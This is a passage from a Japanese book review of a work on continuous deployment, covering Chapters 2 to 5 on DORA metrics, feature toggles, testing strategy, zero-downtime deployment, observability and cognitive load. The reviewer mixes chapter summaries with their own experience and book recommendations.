本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming 